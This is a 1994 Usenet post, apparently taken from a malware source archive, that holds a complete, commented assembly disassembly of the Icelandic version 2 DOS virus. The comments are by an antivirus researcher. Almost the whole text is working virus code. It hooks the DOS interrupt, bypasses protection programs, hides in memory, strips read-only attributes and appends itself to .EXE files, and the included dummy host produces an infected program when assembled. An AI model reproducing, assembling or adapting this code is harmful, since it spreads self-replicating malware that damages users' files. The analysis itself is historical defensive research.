mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
508 lines
14 KiB
NASM
508 lines
14 KiB
NASM
From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
|
||
Xref: netcom.com alt.comp.virus:489
|
||
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
|
||
From: clair@myhost.subdomain.domain (The Clairvoyant)
|
||
Newsgroups: alt.comp.virus
|
||
Subject: Ice2 Disassembly by f-prot author
|
||
Date: 28 Nov 1994 08:16:26 GMT
|
||
Organization: String to put in the Organization Header
|
||
Lines: 493
|
||
Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu>
|
||
NNTP-Posting-Host: tempest.rhn.orst.edu
|
||
X-Newsreader: TIN [version 1.2 PL2]
|
||
|
||
|
||
|
||
; THE ICELANDIC VIRUS - VERSION 2
|
||
;
|
||
; Disassembly done in July '89.
|
||
;
|
||
; The author(s) of this program is(are) unknown, but it is of
|
||
; Icelandic origin.
|
||
;
|
||
; All comments in this file were added by Fridrik Skulason,
|
||
; University of Iceland/Computing Services.
|
||
;
|
||
; INTERNET: frisk@rhi.hi.is
|
||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||
; BIX: FRISK
|
||
;
|
||
; To anyone who obtains this file - please be careful with it, I
|
||
; would not like to see this virus be distributed too much. The code
|
||
; is very clear, and the virus is quite well written. It would be VERY
|
||
; easy to modify it to do something really harmful.
|
||
;
|
||
; The virus has the following flaws:
|
||
;
|
||
; It modifies the date of the program it infects, making
|
||
; it easy to spot them.
|
||
;
|
||
; It removes the Read-only attribute from files, but does
|
||
; not restore it.
|
||
;
|
||
; This version appears to do no damage at all. This, and the fact that
|
||
; the author(s) sent me a copy probably indicates that it was just
|
||
; designed to demonstrate that a virus like this could be written.
|
||
;
|
||
; This file was created in the following way:
|
||
;
|
||
; I disassembled the new version and compared it to my disassembly
|
||
; of version #1.
|
||
;
|
||
; Any changes found were added to this file.
|
||
;
|
||
VIRSIZ EQU 128
|
||
|
||
ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||
;
|
||
; This is a dummy "infected" program, so that this file,
|
||
; when assembled (using MASM) will produce a "true" infected
|
||
; program.
|
||
;
|
||
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
|
||
_START DB 0b4H,09H
|
||
PUSH CS
|
||
POP DS
|
||
MOV DX,OFFSET STRING
|
||
INT 21H
|
||
MOV AX,4C00H
|
||
INT 21H
|
||
STRING DB "Hello world!",0dh,0ah,"$"
|
||
_TEXT1 ENDS
|
||
|
||
_TEXT SEGMENT PARA PUBLIC 'CODE'
|
||
|
||
;
|
||
; The virus is basically divided in two parts.
|
||
;
|
||
; 1. The main program - run when an infected program is run.
|
||
; It will check if the system is already infected, and if not
|
||
; it will install the virus.
|
||
;
|
||
; 2. The new INT 21 handler. It will look for EXEC calls, and
|
||
; (sometimes) infect the program being run.
|
||
;
|
||
VIRUS PROC FAR
|
||
;
|
||
; This is a fake MCB
|
||
;
|
||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||
;
|
||
; The virus starts by pushing the original start address on the stack,
|
||
; so it can transfer control there when finished.
|
||
;
|
||
LABEL1: SUB SP,4
|
||
PUSH BP
|
||
MOV BP,SP
|
||
PUSH AX
|
||
MOV AX,ES
|
||
;
|
||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||
; is modified by the virus when it infects other programs.
|
||
;
|
||
DB 05H
|
||
ORG_CS DW 0010H
|
||
MOV [BP+4],AX
|
||
;
|
||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||
; is modified by the virus when it infects other programs.
|
||
;
|
||
DB 0C7H,46H,02H
|
||
ORG_IP DW 0000H
|
||
;
|
||
; Save all registers that are modified.
|
||
;
|
||
PUSH ES
|
||
PUSH DS
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH SI
|
||
PUSH DI
|
||
;
|
||
; Check if already installed. Quit if so.
|
||
;
|
||
XOR AX,AX
|
||
MOV ES,AX
|
||
CMP ES:[37FH],BYTE PTR 0FFH
|
||
JNE L1
|
||
;
|
||
; Restore all registers and return to the original program.
|
||
;
|
||
EXIT: POP DI
|
||
POP SI
|
||
POP CX
|
||
POP BX
|
||
POP DS
|
||
POP ES
|
||
POP AX
|
||
POP BP
|
||
RET
|
||
;
|
||
; The code to check if INT 13 contains something other than
|
||
; 0070 or F000 has been removed.
|
||
;
|
||
; Set the installation flag, so infected programs run later will
|
||
; recognize the infection.
|
||
;
|
||
L1: MOV ES:[37FH],BYTE PTR 0FFH
|
||
;
|
||
; The virus tries to hide from detection by modifying the memory block it
|
||
; uses, so it seems to be a block that belongs to the operating system.
|
||
;
|
||
; It looks rather weird, but it seems to work.
|
||
;
|
||
MOV AH,52H
|
||
INT 21H
|
||
;
|
||
; The next line is new - the virus obtains the segment of the
|
||
; IBMDOS.COM/MSDOS.SYS program.
|
||
;
|
||
MOV CS:[DOSSEG],ES
|
||
;
|
||
; Back to modification
|
||
;
|
||
MOV AX,ES:[BX-2]
|
||
MOV ES,AX
|
||
ADD AX,ES:[0003]
|
||
INC AX
|
||
INC AX
|
||
MOV CS:[0001],AX
|
||
;
|
||
; Next, the virus modifies the memory block of the infected program.
|
||
; It is made smaller, and no longer the last block.
|
||
;
|
||
MOV BX,DS
|
||
DEC BX
|
||
MOV DS,BX
|
||
MOV AL,'M'
|
||
MOV DS:[0000],AL
|
||
MOV AX,DS:[0003]
|
||
SUB AX,VIRSIZ
|
||
MOV DS:[0003],AX
|
||
ADD BX,AX
|
||
INC BX
|
||
;
|
||
; Then the virus moves itself to the new block. For some reason 2000
|
||
; bytes are transferred, when much less would be enough. Maybe the author just
|
||
; wanted to leave room for future expansions.
|
||
;
|
||
MOV ES,BX
|
||
XOR SI,SI
|
||
XOR DI,DI
|
||
PUSH CS
|
||
POP DS
|
||
MOV CX,2000
|
||
CLD
|
||
REP MOVSB
|
||
;
|
||
; The virus then transfers control to the new copy of itself.
|
||
;
|
||
PUSH ES
|
||
MOV AX,OFFSET L2
|
||
PUSH AX
|
||
RET
|
||
;
|
||
; This part of the program is new. It tries to bypass protection
|
||
; programs, by obtaining the original INT 21 address. It searches
|
||
; for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
|
||
; beginning of the original interrupt (probably also in 3.2 - I do
|
||
; not have a copy of that)
|
||
;
|
||
L2: MOV DS,CS:[DOSSEG]
|
||
MOV CX,3000H
|
||
MOV SI,0
|
||
MOV AX,3A2EH
|
||
L3: CMP AX,[SI]
|
||
JE L3A
|
||
L3C: INC SI
|
||
LOOP L3
|
||
;
|
||
; If that fails, it searches for 80 FC 63 (used in 3.0)
|
||
; 80 FC 4B (used in 2.0)
|
||
; 80 FC F8 (This looks very odd -
|
||
; I have no idea what DOS version this might be.)
|
||
;
|
||
MOV CX,3000H
|
||
MOV SI,0
|
||
MOV AX,0FC80H
|
||
L3D: CMP AX,[SI]
|
||
JE L3F
|
||
L3E: INC SI
|
||
LOOP L3D
|
||
;
|
||
; Start of DOS not found - Give up (but remain in memory)
|
||
;
|
||
JMP EXIT
|
||
|
||
L3A: CMP BYTE PTR[SI+2],26H
|
||
JE L3B
|
||
JMP L3C
|
||
L3F: CMP BYTE PTR[SI+2],63H
|
||
JE L3B
|
||
CMP BYTE PTR[SI+2],4BH
|
||
JE L3B
|
||
CMP BYTE PTR[SI+2],0F8H
|
||
JE L3B
|
||
JMP L3E
|
||
L3B: MOV CS:[DOSPC],SI
|
||
;
|
||
; The main program modifies INT 21 next and finally returns to the
|
||
; original program. The original INT 21 vector is stored inside the
|
||
; program so a JMP [OLD INT21] instruction can be used.
|
||
;
|
||
XOR AX,AX
|
||
MOV ES,AX
|
||
MOV AX,ES:[0084H]
|
||
MOV CS:[OLD21],AX
|
||
MOV AX,ES:[0086H]
|
||
MOV CS:[OLD21+2],AX
|
||
MOV AX,CS
|
||
MOV ES:[0086H],AX
|
||
MOV AX,OFFSET NEW21
|
||
MOV ES:[0084H],AX
|
||
JMP EXIT
|
||
VIRUS ENDP
|
||
;
|
||
; This is the INT 21 replacement. It only does something in the case
|
||
; of an EXEC call.
|
||
;
|
||
NEW21 PROC FAR
|
||
CMP AH,4BH
|
||
JE L5
|
||
L4: DB 0EAH
|
||
OLD21 DW 0,0
|
||
;
|
||
; Only attack every tenth program run.
|
||
;
|
||
L5: DEC CS:[COUNTER]
|
||
JNE L4
|
||
MOV CS:[COUNTER],10
|
||
;
|
||
; Save all affected registers.
|
||
;
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH SI
|
||
PUSH DS
|
||
;
|
||
; Search for the file name extension ...
|
||
;
|
||
MOV BX,DX
|
||
L6: INC BX
|
||
CMP BYTE PTR [BX],'.'
|
||
JE L8
|
||
CMP BYTE PTR [BX],0
|
||
JNE L6
|
||
;
|
||
; ... and quit unless it starts with "EX".
|
||
;
|
||
L7: POP DS
|
||
POP SI
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
JMP L4
|
||
L8: INC BX
|
||
CMP WORD PTR [BX],5845H
|
||
JNE L7
|
||
;
|
||
; When an .EXE file is found, the virus starts by turning off
|
||
; the read-only attribute. The read-only attribute is not restored
|
||
; when the file has been infected.
|
||
;
|
||
; Here, as elsewhere, the INT 21 instructions have been replaced
|
||
; by PUSHF/CALL DWORD PTR CS:[DOSPC]
|
||
;
|
||
MOV AX,4300H ; Get attribute
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L7
|
||
MOV AX,4301H ; Set attribute
|
||
AND CX,0FEH
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L7
|
||
;
|
||
; Next, the file is examined to see if it is already infected.
|
||
; The signature (4418 5F19) is stored in the last two words.
|
||
;
|
||
MOV AX,3D02H ; Open / write access
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L7
|
||
MOV BX,AX ; file handle in BX
|
||
PUSH CS ; now DS is no longer needed
|
||
POP DS
|
||
;
|
||
; The header of the file is read in at [ID+8]. The virus then
|
||
; modifies itself, according to the information stored in the
|
||
; header. (The original CS and IP addressed are stored).
|
||
;
|
||
MOV DX,OFFSET ID+8
|
||
MOV CX,1CH
|
||
MOV AH,3FH
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L9
|
||
MOV AX,DS:ID[1CH]
|
||
MOV DS:[ORG_IP],AX
|
||
MOV AX,DS:ID[1EH]
|
||
ADD AX,10H
|
||
MOV DS:[ORG_CS],AX
|
||
;
|
||
; Next the read/write pointer is moved to the end of the file-4,
|
||
; and the last 4 bytes read. They are compared to the signature,
|
||
; and if equal nothing happens.
|
||
;
|
||
MOV AX,4202H
|
||
MOV CX,-1
|
||
MOV DX,-4
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L9
|
||
ADD AX,4
|
||
MOV DS:[LEN_LO],AX
|
||
JNC L8A
|
||
INC DX
|
||
L8A: MOV DS:[LEN_HI],DX
|
||
|
||
MOV AH,3FH
|
||
MOV CX,4
|
||
MOV DX,OFFSET ID+4
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JNC L11
|
||
L9: MOV AH,3EH
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
L10: JMP L7
|
||
;
|
||
; Compare to 4418,5F19
|
||
;
|
||
L11: MOV SI,OFFSET ID+4
|
||
MOV AX,[SI]
|
||
CMP AX,4418H
|
||
JNE L12
|
||
MOV AX,[SI+2]
|
||
CMP AX,5F19H
|
||
JE L9
|
||
;
|
||
; The file is not infected, so the next thing the virus does is
|
||
; infecting it. First it is padded so the length becomes a multiple
|
||
; of 16 bytes. This is probably done so the virus code can start at a
|
||
; paragraph boundary.
|
||
;
|
||
L12: MOV AX,DS:[LEN_LO]
|
||
AND AX,0FH
|
||
JZ L13
|
||
MOV CX,16
|
||
SUB CX,AX
|
||
ADD DS:[LEN_LO],CX
|
||
JNC L12A
|
||
INC DS:[LEN_HI]
|
||
L12A: MOV AH,40H
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L9
|
||
;
|
||
; Next the main body of the virus is written to the end.
|
||
;
|
||
L13: XOR DX,DX
|
||
MOV CX,OFFSET ID + 4
|
||
MOV AH,40H
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC L9
|
||
;
|
||
; Next the .EXE file header is modified:
|
||
;
|
||
; First modify initial IP
|
||
;
|
||
MOV AX,OFFSET LABEL1
|
||
MOV DS:ID[1CH],AX
|
||
;
|
||
; Modify starting CS = Virus CS. It is computed as:
|
||
;
|
||
; (Original length of file+padding)/16 - Start of load module
|
||
;
|
||
MOV DX,DS:[LEN_HI]
|
||
MOV AX,DS:[LEN_LO]
|
||
SHR DX,1
|
||
RCR AX,1
|
||
SHR DX,1
|
||
RCR AX,1
|
||
SHR DX,1
|
||
RCR AX,1
|
||
SHR DX,1
|
||
RCR AX,1
|
||
SUB AX,DS:ID[10H]
|
||
MOV DS:ID[1EH],AX
|
||
;
|
||
; Modify length mod 512
|
||
;
|
||
ADD DS:[LEN_LO],OFFSET ID+4
|
||
JNC L14
|
||
INC DS:[LEN_HI]
|
||
L14: MOV AX,DS:[LEN_LO]
|
||
AND AX,511
|
||
MOV DS:ID[0AH],AX
|
||
;
|
||
; Modify number of blocks used
|
||
;
|
||
MOV DX,DS:[LEN_HI]
|
||
MOV AX,DS:[LEN_LO]
|
||
ADD AX,511
|
||
JNC L14A
|
||
INC DX
|
||
L14A: MOV AL,AH
|
||
MOV AH,DL
|
||
SHR AX,1
|
||
MOV DS:ID[0CH],AX
|
||
;
|
||
; Finally the modified header is written back to the start of the
|
||
; file.
|
||
;
|
||
QQQ: MOV AX,4200H
|
||
XOR CX,CX
|
||
XOR DX,DX
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC ENDIT
|
||
MOV AH,40H
|
||
MOV DX,OFFSET ID+8
|
||
MOV CX,1CH
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
JC ENDIT
|
||
MOV AH,3EH
|
||
PUSHF
|
||
CALL DWORD PTR CS:[DOSPC]
|
||
;
|
||
; Infection is finished - close the file and execute it.
|
||
;
|
||
ENDIT: JMP L9
|
||
;
|
||
; The damage section located here has been removed.
|
||
;
|
||
|
||
NEW21 ENDP
|
||
|
||
DOSPC DW ?
|
||
|
||
DOSSEG DW ?
|
||
COUNTER DB 10
|
||
LEN_LO DW ?
|
||
LEN_HI DW ?
|
||
ID DW 4418H,5F19H ; The signature of the virus.
|
||
;
|
||
; A buffer, used for data from the file.
|
||
;
|
||
_TEXT ENDS
|
||
|
||
END LABEL1
|
||
|
||
|